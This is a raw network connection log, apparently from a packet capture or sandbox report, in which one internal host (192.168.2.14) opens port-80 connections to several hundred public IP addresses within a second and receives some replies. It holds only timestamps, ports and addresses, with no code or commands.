Oct 14, 2024 17:34:10.849387884 CEST	29626	80	192.168.2.14	205.180.95.44
Oct 14, 2024 17:34:10.849390030 CEST	29626	80	192.168.2.14	173.184.66.231
Oct 14, 2024 17:34:10.849390030 CEST	29626	80	192.168.2.14	159.54.76.10
Oct 14, 2024 17:34:10.849396944 CEST	29626	80	192.168.2.14	74.161.242.25
Oct 14, 2024 17:34:10.849396944 CEST	29626	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:10.849405050 CEST	29626	80	192.168.2.14	162.93.214.216
Oct 14, 2024 17:34:10.849405050 CEST	29626	80	192.168.2.14	59.97.134.93
Oct 14, 2024 17:34:10.849412918 CEST	29626	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:10.849421024 CEST	29626	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:10.849426985 CEST	29626	80	192.168.2.14	78.42.72.124
Oct 14, 2024 17:34:10.849427938 CEST	29626	80	192.168.2.14	121.0.227.65
Oct 14, 2024 17:34:10.849441051 CEST	29626	80	192.168.2.14	112.247.197.61
Oct 14, 2024 17:34:10.849442005 CEST	29626	80	192.168.2.14	112.182.1.223
Oct 14, 2024 17:34:10.849447012 CEST	29626	80	192.168.2.14	76.233.57.173
Oct 14, 2024 17:34:10.849450111 CEST	29626	80	192.168.2.14	62.158.153.79
Oct 14, 2024 17:34:10.849455118 CEST	29626	80	192.168.2.14	5.143.12.228
Oct 14, 2024 17:34:10.849473000 CEST	29626	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:10.849477053 CEST	29626	80	192.168.2.14	110.104.117.231
Oct 14, 2024 17:34:10.849478960 CEST	29626	80	192.168.2.14	118.39.183.38
Oct 14, 2024 17:34:10.849478960 CEST	29626	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:10.849482059 CEST	29626	80	192.168.2.14	160.127.65.236
Oct 14, 2024 17:34:10.849482059 CEST	29626	80	192.168.2.14	223.97.180.227
Oct 14, 2024 17:34:10.849499941 CEST	29626	80	192.168.2.14	134.100.91.77
Oct 14, 2024 17:34:10.849499941 CEST	29626	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:10.849499941 CEST	29626	80	192.168.2.14	103.190.193.46
Oct 14, 2024 17:34:10.849512100 CEST	29626	80	192.168.2.14	88.17.169.94
Oct 14, 2024 17:34:10.849513054 CEST	29626	80	192.168.2.14	147.133.121.129
Oct 14, 2024 17:34:10.849519968 CEST	29626	80	192.168.2.14	141.245.229.176
Oct 14, 2024 17:34:10.849530935 CEST	29626	80	192.168.2.14	83.75.118.219
Oct 14, 2024 17:34:10.849534035 CEST	29626	80	192.168.2.14	25.150.151.44
Oct 14, 2024 17:34:10.849543095 CEST	29626	80	192.168.2.14	61.0.111.114
Oct 14, 2024 17:34:10.849549055 CEST	29626	80	192.168.2.14	34.0.0.31
Oct 14, 2024 17:34:10.849553108 CEST	29626	80	192.168.2.14	145.51.2.149
Oct 14, 2024 17:34:10.849561930 CEST	29626	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:10.849564075 CEST	29626	80	192.168.2.14	223.90.175.17
Oct 14, 2024 17:34:10.849575043 CEST	29626	80	192.168.2.14	94.52.242.89
Oct 14, 2024 17:34:10.849575043 CEST	29626	80	192.168.2.14	36.90.161.9
Oct 14, 2024 17:34:10.849575043 CEST	29626	80	192.168.2.14	53.212.153.150
Oct 14, 2024 17:34:10.849581957 CEST	29626	80	192.168.2.14	78.198.116.91
Oct 14, 2024 17:34:10.849581957 CEST	29626	80	192.168.2.14	154.40.52.245
Oct 14, 2024 17:34:10.849584103 CEST	29626	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:10.849598885 CEST	29626	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:10.849598885 CEST	29626	80	192.168.2.14	46.213.133.53
Oct 14, 2024 17:34:10.849598885 CEST	29626	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:10.849598885 CEST	29626	80	192.168.2.14	114.168.32.232
Oct 14, 2024 17:34:10.849605083 CEST	29626	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:10.849617004 CEST	29626	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:10.849618912 CEST	29626	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:10.849630117 CEST	29626	80	192.168.2.14	125.205.39.142
Oct 14, 2024 17:34:10.849639893 CEST	29626	80	192.168.2.14	120.235.153.226
Oct 14, 2024 17:34:10.849648952 CEST	29626	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:10.849648952 CEST	29626	80	192.168.2.14	162.75.203.19
Oct 14, 2024 17:34:10.849658966 CEST	29626	80	192.168.2.14	139.135.199.65
Oct 14, 2024 17:34:10.849659920 CEST	29626	80	192.168.2.14	179.94.112.177
Oct 14, 2024 17:34:10.849664927 CEST	29626	80	192.168.2.14	84.156.166.12
Oct 14, 2024 17:34:10.849668980 CEST	29626	80	192.168.2.14	124.132.203.192
Oct 14, 2024 17:34:10.849668980 CEST	29626	80	192.168.2.14	130.62.37.57
Oct 14, 2024 17:34:10.849673986 CEST	29626	80	192.168.2.14	196.255.195.209
Oct 14, 2024 17:34:10.849675894 CEST	29626	80	192.168.2.14	25.113.143.7
Oct 14, 2024 17:34:10.849675894 CEST	29626	80	192.168.2.14	131.167.238.241
Oct 14, 2024 17:34:10.849690914 CEST	29626	80	192.168.2.14	125.154.218.151
Oct 14, 2024 17:34:10.849695921 CEST	29626	80	192.168.2.14	71.35.129.124
Oct 14, 2024 17:34:10.849698067 CEST	29626	80	192.168.2.14	119.219.139.178
Oct 14, 2024 17:34:10.849714041 CEST	29626	80	192.168.2.14	87.235.146.102
Oct 14, 2024 17:34:10.849720955 CEST	29626	80	192.168.2.14	179.135.69.78
Oct 14, 2024 17:34:10.849720955 CEST	29626	80	192.168.2.14	220.113.62.119
Oct 14, 2024 17:34:10.849724054 CEST	29626	80	192.168.2.14	51.128.35.28
Oct 14, 2024 17:34:10.849724054 CEST	29626	80	192.168.2.14	103.139.150.139
Oct 14, 2024 17:34:10.849725962 CEST	29626	80	192.168.2.14	210.227.107.79
Oct 14, 2024 17:34:10.849734068 CEST	29626	80	192.168.2.14	115.47.248.251
Oct 14, 2024 17:34:10.849734068 CEST	29626	80	192.168.2.14	45.86.215.195
Oct 14, 2024 17:34:10.849745035 CEST	29626	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:10.849745989 CEST	29626	80	192.168.2.14	194.205.16.227
Oct 14, 2024 17:34:10.849750042 CEST	29626	80	192.168.2.14	77.159.29.87
Oct 14, 2024 17:34:10.849755049 CEST	29626	80	192.168.2.14	95.47.200.226
Oct 14, 2024 17:34:10.849755049 CEST	29626	80	192.168.2.14	213.100.205.114
Oct 14, 2024 17:34:10.849755049 CEST	29626	80	192.168.2.14	205.147.119.75
Oct 14, 2024 17:34:10.849755049 CEST	29626	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:10.849769115 CEST	29626	80	192.168.2.14	82.30.22.185
Oct 14, 2024 17:34:10.849769115 CEST	29626	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:10.849769115 CEST	29626	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:10.849773884 CEST	29626	80	192.168.2.14	155.29.92.241
Oct 14, 2024 17:34:10.849773884 CEST	29626	80	192.168.2.14	219.202.142.173
Oct 14, 2024 17:34:10.849775076 CEST	29626	80	192.168.2.14	83.98.205.147
Oct 14, 2024 17:34:10.849788904 CEST	29626	80	192.168.2.14	52.186.86.108
Oct 14, 2024 17:34:10.849788904 CEST	29626	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:10.849788904 CEST	29626	80	192.168.2.14	24.22.140.5
Oct 14, 2024 17:34:10.849792957 CEST	29626	80	192.168.2.14	96.175.251.118
Oct 14, 2024 17:34:10.849793911 CEST	29626	80	192.168.2.14	195.140.177.192
Oct 14, 2024 17:34:10.849793911 CEST	29626	80	192.168.2.14	65.17.82.35
Oct 14, 2024 17:34:10.849793911 CEST	29626	80	192.168.2.14	188.102.90.35
Oct 14, 2024 17:34:10.849797964 CEST	29626	80	192.168.2.14	39.152.22.181
Oct 14, 2024 17:34:10.849802971 CEST	29626	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:10.849806070 CEST	29626	80	192.168.2.14	179.243.100.148
Oct 14, 2024 17:34:10.849806070 CEST	29626	80	192.168.2.14	217.202.74.124
Oct 14, 2024 17:34:10.849818945 CEST	29626	80	192.168.2.14	1.23.69.72
Oct 14, 2024 17:34:10.849819899 CEST	29626	80	192.168.2.14	19.180.62.161
Oct 14, 2024 17:34:10.849818945 CEST	29626	80	192.168.2.14	13.221.127.199
Oct 14, 2024 17:34:10.849819899 CEST	29626	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:10.849831104 CEST	29626	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:10.849832058 CEST	29626	80	192.168.2.14	122.159.191.31
Oct 14, 2024 17:34:10.849838972 CEST	29626	80	192.168.2.14	222.129.54.144
Oct 14, 2024 17:34:10.849843025 CEST	29626	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:10.849843025 CEST	29626	80	192.168.2.14	183.17.39.63
Oct 14, 2024 17:34:10.849843025 CEST	29626	80	192.168.2.14	41.160.73.54
Oct 14, 2024 17:34:10.849848032 CEST	29626	80	192.168.2.14	58.0.13.163
Oct 14, 2024 17:34:10.849848032 CEST	29626	80	192.168.2.14	69.215.22.231
Oct 14, 2024 17:34:10.849849939 CEST	29626	80	192.168.2.14	46.156.11.91
Oct 14, 2024 17:34:10.849849939 CEST	29626	80	192.168.2.14	170.3.182.62
Oct 14, 2024 17:34:10.849849939 CEST	29626	80	192.168.2.14	52.4.177.89
Oct 14, 2024 17:34:10.849849939 CEST	29626	80	192.168.2.14	38.167.16.183
Oct 14, 2024 17:34:10.849849939 CEST	29626	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:10.849870920 CEST	29626	80	192.168.2.14	149.57.79.251
Oct 14, 2024 17:34:10.849872112 CEST	29626	80	192.168.2.14	62.143.68.208
Oct 14, 2024 17:34:10.849873066 CEST	29626	80	192.168.2.14	100.24.3.25
Oct 14, 2024 17:34:10.849873066 CEST	29626	80	192.168.2.14	202.49.93.64
Oct 14, 2024 17:34:10.849874020 CEST	29626	80	192.168.2.14	107.55.101.37
Oct 14, 2024 17:34:10.849874020 CEST	29626	80	192.168.2.14	12.42.128.126
Oct 14, 2024 17:34:10.849874973 CEST	29626	80	192.168.2.14	36.14.207.152
Oct 14, 2024 17:34:10.849886894 CEST	29626	80	192.168.2.14	137.40.222.110
Oct 14, 2024 17:34:10.849886894 CEST	29626	80	192.168.2.14	168.199.244.45
Oct 14, 2024 17:34:10.849886894 CEST	29626	80	192.168.2.14	49.247.169.27
Oct 14, 2024 17:34:10.849889994 CEST	29626	80	192.168.2.14	154.190.211.241
Oct 14, 2024 17:34:10.849889994 CEST	29626	80	192.168.2.14	97.242.49.182
Oct 14, 2024 17:34:10.849890947 CEST	29626	80	192.168.2.14	104.2.91.171
Oct 14, 2024 17:34:10.849890947 CEST	29626	80	192.168.2.14	79.180.122.207
Oct 14, 2024 17:34:10.849891901 CEST	29626	80	192.168.2.14	18.239.24.15
Oct 14, 2024 17:34:10.849891901 CEST	29626	80	192.168.2.14	213.66.44.136
Oct 14, 2024 17:34:10.849900007 CEST	29626	80	192.168.2.14	64.99.76.165
Oct 14, 2024 17:34:10.849900007 CEST	29626	80	192.168.2.14	47.132.173.97
Oct 14, 2024 17:34:10.849900007 CEST	29626	80	192.168.2.14	97.29.107.228
Oct 14, 2024 17:34:10.849900961 CEST	29626	80	192.168.2.14	58.46.252.242
Oct 14, 2024 17:34:10.849900961 CEST	29626	80	192.168.2.14	209.203.187.86
Oct 14, 2024 17:34:10.849900961 CEST	29626	80	192.168.2.14	222.222.61.13
Oct 14, 2024 17:34:10.849903107 CEST	29626	80	192.168.2.14	117.104.225.73
Oct 14, 2024 17:34:10.849903107 CEST	29626	80	192.168.2.14	104.161.198.99
Oct 14, 2024 17:34:10.849905014 CEST	29626	80	192.168.2.14	145.221.130.58
Oct 14, 2024 17:34:10.849910975 CEST	29626	80	192.168.2.14	216.158.50.7
Oct 14, 2024 17:34:10.849917889 CEST	29626	80	192.168.2.14	57.93.140.108
Oct 14, 2024 17:34:10.849921942 CEST	29626	80	192.168.2.14	75.183.76.249
Oct 14, 2024 17:34:10.849931955 CEST	29626	80	192.168.2.14	27.170.96.34
Oct 14, 2024 17:34:10.849932909 CEST	29626	80	192.168.2.14	143.165.196.19
Oct 14, 2024 17:34:10.849931955 CEST	29626	80	192.168.2.14	91.232.39.33
Oct 14, 2024 17:34:10.849932909 CEST	29626	80	192.168.2.14	220.141.117.197
Oct 14, 2024 17:34:10.849934101 CEST	29626	80	192.168.2.14	42.31.114.192
Oct 14, 2024 17:34:10.849934101 CEST	29626	80	192.168.2.14	19.47.67.86
Oct 14, 2024 17:34:10.849935055 CEST	29626	80	192.168.2.14	213.251.243.13
Oct 14, 2024 17:34:10.849936962 CEST	29626	80	192.168.2.14	106.163.254.64
Oct 14, 2024 17:34:10.849936962 CEST	29626	80	192.168.2.14	177.76.216.91
Oct 14, 2024 17:34:10.849936962 CEST	29626	80	192.168.2.14	84.203.80.231
Oct 14, 2024 17:34:10.849936962 CEST	29626	80	192.168.2.14	190.132.200.248
Oct 14, 2024 17:34:10.849936962 CEST	29626	80	192.168.2.14	211.204.197.136
Oct 14, 2024 17:34:10.849945068 CEST	29626	80	192.168.2.14	69.10.83.116
Oct 14, 2024 17:34:10.849951982 CEST	29626	80	192.168.2.14	212.159.111.210
Oct 14, 2024 17:34:10.849951982 CEST	29626	80	192.168.2.14	207.238.100.118
Oct 14, 2024 17:34:10.849953890 CEST	29626	80	192.168.2.14	20.234.154.16
Oct 14, 2024 17:34:10.849967957 CEST	29626	80	192.168.2.14	75.106.128.151
Oct 14, 2024 17:34:10.849967957 CEST	29626	80	192.168.2.14	213.76.185.246
Oct 14, 2024 17:34:10.849967957 CEST	29626	80	192.168.2.14	92.83.255.32
Oct 14, 2024 17:34:10.849967957 CEST	29626	80	192.168.2.14	167.64.178.64
Oct 14, 2024 17:34:10.849967957 CEST	29626	80	192.168.2.14	166.222.218.13
Oct 14, 2024 17:34:10.849970102 CEST	29626	80	192.168.2.14	144.147.254.8
Oct 14, 2024 17:34:10.849970102 CEST	29626	80	192.168.2.14	222.103.248.224
Oct 14, 2024 17:34:10.849972963 CEST	29626	80	192.168.2.14	181.242.47.175
Oct 14, 2024 17:34:10.849972963 CEST	29626	80	192.168.2.14	223.139.43.20
Oct 14, 2024 17:34:10.849973917 CEST	29626	80	192.168.2.14	160.137.53.85
Oct 14, 2024 17:34:10.849973917 CEST	29626	80	192.168.2.14	42.11.140.254
Oct 14, 2024 17:34:10.849973917 CEST	29626	80	192.168.2.14	147.97.39.101
Oct 14, 2024 17:34:10.849973917 CEST	29626	80	192.168.2.14	31.190.193.182
Oct 14, 2024 17:34:10.849977016 CEST	29626	80	192.168.2.14	115.185.107.4
Oct 14, 2024 17:34:10.849977016 CEST	29626	80	192.168.2.14	126.184.63.2
Oct 14, 2024 17:34:10.849977970 CEST	29626	80	192.168.2.14	83.8.43.244
Oct 14, 2024 17:34:10.849977016 CEST	29626	80	192.168.2.14	175.127.138.12
Oct 14, 2024 17:34:10.849991083 CEST	29626	80	192.168.2.14	150.143.57.166
Oct 14, 2024 17:34:10.849996090 CEST	29626	80	192.168.2.14	108.61.225.130
Oct 14, 2024 17:34:10.850001097 CEST	29626	80	192.168.2.14	104.244.22.129
Oct 14, 2024 17:34:10.850001097 CEST	29626	80	192.168.2.14	202.76.242.105
Oct 14, 2024 17:34:10.850001097 CEST	29626	80	192.168.2.14	205.213.237.186
Oct 14, 2024 17:34:10.850001097 CEST	29626	80	192.168.2.14	43.110.226.41
Oct 14, 2024 17:34:10.850011110 CEST	29626	80	192.168.2.14	43.193.41.28
Oct 14, 2024 17:34:10.850011110 CEST	29626	80	192.168.2.14	139.204.6.11
Oct 14, 2024 17:34:10.850014925 CEST	29626	80	192.168.2.14	118.76.223.21
Oct 14, 2024 17:34:10.850014925 CEST	29626	80	192.168.2.14	145.97.189.226
Oct 14, 2024 17:34:10.850017071 CEST	29626	80	192.168.2.14	35.108.66.206
Oct 14, 2024 17:34:10.850018024 CEST	29626	80	192.168.2.14	129.21.218.71
Oct 14, 2024 17:34:10.850018978 CEST	29626	80	192.168.2.14	137.51.136.22
Oct 14, 2024 17:34:10.850018978 CEST	29626	80	192.168.2.14	93.118.18.132
Oct 14, 2024 17:34:10.850018978 CEST	29626	80	192.168.2.14	176.8.190.237
Oct 14, 2024 17:34:10.850018978 CEST	29626	80	192.168.2.14	160.214.84.63
Oct 14, 2024 17:34:10.850019932 CEST	29626	80	192.168.2.14	39.43.163.77
Oct 14, 2024 17:34:10.850019932 CEST	29626	80	192.168.2.14	188.88.12.185
Oct 14, 2024 17:34:10.850019932 CEST	29626	80	192.168.2.14	38.119.242.126
Oct 14, 2024 17:34:10.850019932 CEST	29626	80	192.168.2.14	77.215.127.61
Oct 14, 2024 17:34:10.850019932 CEST	29626	80	192.168.2.14	205.231.169.24
Oct 14, 2024 17:34:10.850028992 CEST	29626	80	192.168.2.14	104.4.216.29
Oct 14, 2024 17:34:10.850028992 CEST	29626	80	192.168.2.14	110.198.124.100
Oct 14, 2024 17:34:10.850028992 CEST	29626	80	192.168.2.14	25.45.206.204
Oct 14, 2024 17:34:10.850028992 CEST	29626	80	192.168.2.14	142.166.241.239
Oct 14, 2024 17:34:10.850028992 CEST	29626	80	192.168.2.14	93.130.186.157
Oct 14, 2024 17:34:10.850034952 CEST	29626	80	192.168.2.14	62.129.20.192
Oct 14, 2024 17:34:10.850034952 CEST	29626	80	192.168.2.14	58.85.206.193
Oct 14, 2024 17:34:10.850035906 CEST	29626	80	192.168.2.14	144.29.154.58
Oct 14, 2024 17:34:10.850035906 CEST	29626	80	192.168.2.14	204.123.200.83
Oct 14, 2024 17:34:10.850035906 CEST	29626	80	192.168.2.14	196.23.63.44
Oct 14, 2024 17:34:10.850044012 CEST	29626	80	192.168.2.14	87.119.26.206
Oct 14, 2024 17:34:10.850044012 CEST	29626	80	192.168.2.14	85.84.50.110
Oct 14, 2024 17:34:10.850054979 CEST	29626	80	192.168.2.14	185.113.13.41
Oct 14, 2024 17:34:10.850068092 CEST	29626	80	192.168.2.14	143.92.241.103
Oct 14, 2024 17:34:10.850087881 CEST	29626	80	192.168.2.14	198.217.161.6
Oct 14, 2024 17:34:10.850104094 CEST	29626	80	192.168.2.14	198.33.89.219
Oct 14, 2024 17:34:10.850111961 CEST	29626	80	192.168.2.14	135.181.6.136
Oct 14, 2024 17:34:10.850115061 CEST	29626	80	192.168.2.14	89.111.39.90
Oct 14, 2024 17:34:10.850122929 CEST	29626	80	192.168.2.14	4.51.221.123
Oct 14, 2024 17:34:10.850123882 CEST	29626	80	192.168.2.14	208.3.100.219
Oct 14, 2024 17:34:10.850136995 CEST	29626	80	192.168.2.14	207.149.128.52
Oct 14, 2024 17:34:10.850156069 CEST	29626	80	192.168.2.14	118.107.231.63
Oct 14, 2024 17:34:10.850156069 CEST	29626	80	192.168.2.14	34.39.93.239
Oct 14, 2024 17:34:10.850163937 CEST	29626	80	192.168.2.14	52.239.28.139
Oct 14, 2024 17:34:10.850204945 CEST	29626	80	192.168.2.14	192.79.133.108
Oct 14, 2024 17:34:10.850219011 CEST	29626	80	192.168.2.14	163.43.86.88
Oct 14, 2024 17:34:10.850220919 CEST	29626	80	192.168.2.14	64.112.61.125
Oct 14, 2024 17:34:10.850220919 CEST	29626	80	192.168.2.14	124.88.145.214
Oct 14, 2024 17:34:10.850220919 CEST	29626	80	192.168.2.14	161.7.154.90
Oct 14, 2024 17:34:10.850220919 CEST	29626	80	192.168.2.14	189.56.45.227
Oct 14, 2024 17:34:10.850220919 CEST	29626	80	192.168.2.14	91.46.51.156
Oct 14, 2024 17:34:10.850234985 CEST	29626	80	192.168.2.14	48.216.47.153
Oct 14, 2024 17:34:10.850238085 CEST	29626	80	192.168.2.14	175.168.136.65
Oct 14, 2024 17:34:10.850244045 CEST	29626	80	192.168.2.14	131.106.105.185
Oct 14, 2024 17:34:10.850250959 CEST	29626	80	192.168.2.14	126.128.27.221
Oct 14, 2024 17:34:10.850250959 CEST	29626	80	192.168.2.14	194.18.184.202
Oct 14, 2024 17:34:10.850255966 CEST	29626	80	192.168.2.14	162.186.211.119
Oct 14, 2024 17:34:10.850263119 CEST	29626	80	192.168.2.14	32.140.198.28
Oct 14, 2024 17:34:10.850267887 CEST	29626	80	192.168.2.14	133.57.115.55
Oct 14, 2024 17:34:10.850286007 CEST	29626	80	192.168.2.14	134.215.48.75
Oct 14, 2024 17:34:10.850286961 CEST	29626	80	192.168.2.14	40.121.35.214
Oct 14, 2024 17:34:10.850287914 CEST	29626	80	192.168.2.14	212.223.35.26
Oct 14, 2024 17:34:10.850291014 CEST	29626	80	192.168.2.14	125.141.134.184
Oct 14, 2024 17:34:10.850296021 CEST	29626	80	192.168.2.14	148.22.162.222
Oct 14, 2024 17:34:10.850301027 CEST	29626	80	192.168.2.14	91.120.110.189
Oct 14, 2024 17:34:10.850301027 CEST	29626	80	192.168.2.14	62.3.18.67
Oct 14, 2024 17:34:10.850303888 CEST	29626	80	192.168.2.14	5.169.165.69
Oct 14, 2024 17:34:10.850303888 CEST	29626	80	192.168.2.14	147.130.253.177
Oct 14, 2024 17:34:10.850303888 CEST	29626	80	192.168.2.14	189.63.6.0
Oct 14, 2024 17:34:10.850311041 CEST	29626	80	192.168.2.14	139.73.194.178
Oct 14, 2024 17:34:10.850311995 CEST	29626	80	192.168.2.14	105.111.157.185
Oct 14, 2024 17:34:10.850322008 CEST	29626	80	192.168.2.14	48.22.34.50
Oct 14, 2024 17:34:10.850323915 CEST	29626	80	192.168.2.14	136.83.131.210
Oct 14, 2024 17:34:10.850326061 CEST	29626	80	192.168.2.14	106.190.232.198
Oct 14, 2024 17:34:10.850327969 CEST	29626	80	192.168.2.14	161.83.123.150
Oct 14, 2024 17:34:10.850331068 CEST	29626	80	192.168.2.14	131.113.70.52
Oct 14, 2024 17:34:10.850338936 CEST	29626	80	192.168.2.14	14.43.66.230
Oct 14, 2024 17:34:10.850338936 CEST	29626	80	192.168.2.14	194.221.126.226
Oct 14, 2024 17:34:10.850341082 CEST	29626	80	192.168.2.14	145.190.208.71
Oct 14, 2024 17:34:10.850341082 CEST	29626	80	192.168.2.14	2.53.61.62
Oct 14, 2024 17:34:10.850346088 CEST	29626	80	192.168.2.14	218.82.96.84
Oct 14, 2024 17:34:10.850416899 CEST	29626	80	192.168.2.14	172.52.29.166
Oct 14, 2024 17:34:10.850416899 CEST	29626	80	192.168.2.14	101.217.7.144
Oct 14, 2024 17:34:10.850420952 CEST	29626	80	192.168.2.14	121.154.35.24
Oct 14, 2024 17:34:10.850428104 CEST	29626	80	192.168.2.14	93.91.132.169
Oct 14, 2024 17:34:10.850428104 CEST	29626	80	192.168.2.14	1.160.214.97
Oct 14, 2024 17:34:10.850438118 CEST	29626	80	192.168.2.14	2.88.143.58
Oct 14, 2024 17:34:10.850440025 CEST	29626	80	192.168.2.14	48.108.3.72
Oct 14, 2024 17:34:10.850440025 CEST	29626	80	192.168.2.14	60.96.96.194
Oct 14, 2024 17:34:10.850440979 CEST	29626	80	192.168.2.14	118.23.175.59
Oct 14, 2024 17:34:10.850442886 CEST	29626	80	192.168.2.14	156.167.144.29
Oct 14, 2024 17:34:10.850444078 CEST	29626	80	192.168.2.14	102.192.232.132
Oct 14, 2024 17:34:10.850445986 CEST	29626	80	192.168.2.14	68.117.30.43
Oct 14, 2024 17:34:10.850455999 CEST	29626	80	192.168.2.14	111.242.227.14
Oct 14, 2024 17:34:10.850455999 CEST	29626	80	192.168.2.14	165.41.55.131
Oct 14, 2024 17:34:10.850461960 CEST	29626	80	192.168.2.14	164.8.101.76
Oct 14, 2024 17:34:10.850461960 CEST	29626	80	192.168.2.14	48.38.150.78
Oct 14, 2024 17:34:10.850462914 CEST	29626	80	192.168.2.14	97.52.215.19
Oct 14, 2024 17:34:10.850462914 CEST	29626	80	192.168.2.14	27.181.180.53
Oct 14, 2024 17:34:10.850462914 CEST	29626	80	192.168.2.14	114.37.34.191
Oct 14, 2024 17:34:10.850466013 CEST	29626	80	192.168.2.14	223.177.34.2
Oct 14, 2024 17:34:10.850471020 CEST	29626	80	192.168.2.14	95.117.59.172
Oct 14, 2024 17:34:10.850477934 CEST	29626	80	192.168.2.14	209.130.96.121
Oct 14, 2024 17:34:10.850481987 CEST	29626	80	192.168.2.14	173.179.85.82
Oct 14, 2024 17:34:10.850483894 CEST	29626	80	192.168.2.14	61.54.1.42
Oct 14, 2024 17:34:10.850483894 CEST	29626	80	192.168.2.14	109.128.252.22
Oct 14, 2024 17:34:10.850491047 CEST	29626	80	192.168.2.14	194.101.4.194
Oct 14, 2024 17:34:10.850495100 CEST	29626	80	192.168.2.14	58.115.89.106
Oct 14, 2024 17:34:10.850495100 CEST	29626	80	192.168.2.14	150.26.128.202
Oct 14, 2024 17:34:10.850495100 CEST	29626	80	192.168.2.14	113.72.212.80
Oct 14, 2024 17:34:10.850495100 CEST	29626	80	192.168.2.14	213.164.17.6
Oct 14, 2024 17:34:10.850498915 CEST	29626	80	192.168.2.14	142.48.97.232
Oct 14, 2024 17:34:10.850498915 CEST	29626	80	192.168.2.14	92.240.87.150
Oct 14, 2024 17:34:10.850506067 CEST	29626	80	192.168.2.14	90.230.190.141
Oct 14, 2024 17:34:10.850506067 CEST	29626	80	192.168.2.14	86.201.213.251
Oct 14, 2024 17:34:10.850507021 CEST	29626	80	192.168.2.14	165.55.27.254
Oct 14, 2024 17:34:10.854245901 CEST	80	29626	163.129.240.99	192.168.2.14
Oct 14, 2024 17:34:10.854258060 CEST	80	29626	197.76.254.99	192.168.2.14
Oct 14, 2024 17:34:10.854266882 CEST	80	29626	76.232.178.92	192.168.2.14
Oct 14, 2024 17:34:10.854290009 CEST	29626	80	192.168.2.14	163.129.240.99
Oct 14, 2024 17:34:10.854310036 CEST	29626	80	192.168.2.14	197.76.254.99
Oct 14, 2024 17:34:10.854315042 CEST	29626	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:10.854382992 CEST	80	29626	136.219.76.182	192.168.2.14
Oct 14, 2024 17:34:10.854393959 CEST	80	29626	141.182.88.11	192.168.2.14
Oct 14, 2024 17:34:10.854402065 CEST	80	29626	179.221.209.219	192.168.2.14
Oct 14, 2024 17:34:10.854413033 CEST	80	29626	131.156.38.106	192.168.2.14
Oct 14, 2024 17:34:10.854420900 CEST	80	29626	80.16.214.233	192.168.2.14
Oct 14, 2024 17:34:10.854425907 CEST	29626	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:10.854428053 CEST	29626	80	192.168.2.14	141.182.88.11
Oct 14, 2024 17:34:10.854432106 CEST	80	29626	115.173.179.104	192.168.2.14
Oct 14, 2024 17:34:10.854435921 CEST	29626	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:10.854437113 CEST	80	29626	18.28.241.145	192.168.2.14
Oct 14, 2024 17:34:10.854441881 CEST	29626	80	192.168.2.14	131.156.38.106
Oct 14, 2024 17:34:10.854460955 CEST	29626	80	192.168.2.14	80.16.214.233
Oct 14, 2024 17:34:10.854475975 CEST	29626	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:10.854479074 CEST	29626	80	192.168.2.14	18.28.241.145
Oct 14, 2024 17:34:10.854877949 CEST	80	29626	69.163.97.129	192.168.2.14
Oct 14, 2024 17:34:10.854887009 CEST	80	29626	12.12.20.232	192.168.2.14
Oct 14, 2024 17:34:10.854896069 CEST	80	29626	102.134.111.181	192.168.2.14
Oct 14, 2024 17:34:10.854908943 CEST	80	29626	163.210.11.220	192.168.2.14
Oct 14, 2024 17:34:10.854921103 CEST	80	29626	18.37.19.186	192.168.2.14
Oct 14, 2024 17:34:10.854924917 CEST	80	29626	104.242.129.6	192.168.2.14
Oct 14, 2024 17:34:10.854929924 CEST	80	29626	173.186.167.2	192.168.2.14
Oct 14, 2024 17:34:10.854938030 CEST	80	29626	128.92.16.60	192.168.2.14
Oct 14, 2024 17:34:10.854948044 CEST	80	29626	81.242.26.186	192.168.2.14
Oct 14, 2024 17:34:10.854949951 CEST	29626	80	192.168.2.14	104.242.129.6
Oct 14, 2024 17:34:10.854954004 CEST	29626	80	192.168.2.14	173.186.167.2
Oct 14, 2024 17:34:10.854959965 CEST	80	29626	89.21.126.116	192.168.2.14
Oct 14, 2024 17:34:10.854963064 CEST	29626	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:10.854963064 CEST	29626	80	192.168.2.14	102.134.111.181
Oct 14, 2024 17:34:10.854963064 CEST	29626	80	192.168.2.14	128.92.16.60
Oct 14, 2024 17:34:10.854978085 CEST	80	29626	87.197.76.211	192.168.2.14
Oct 14, 2024 17:34:10.854979992 CEST	29626	80	192.168.2.14	163.210.11.220
Oct 14, 2024 17:34:10.854979992 CEST	29626	80	192.168.2.14	18.37.19.186
Oct 14, 2024 17:34:10.854981899 CEST	29626	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:10.854988098 CEST	80	29626	2.17.128.182	192.168.2.14
Oct 14, 2024 17:34:10.854995012 CEST	29626	80	192.168.2.14	81.242.26.186
Oct 14, 2024 17:34:10.854998112 CEST	80	29626	194.123.231.244	192.168.2.14
Oct 14, 2024 17:34:10.855007887 CEST	80	29626	27.156.152.253	192.168.2.14
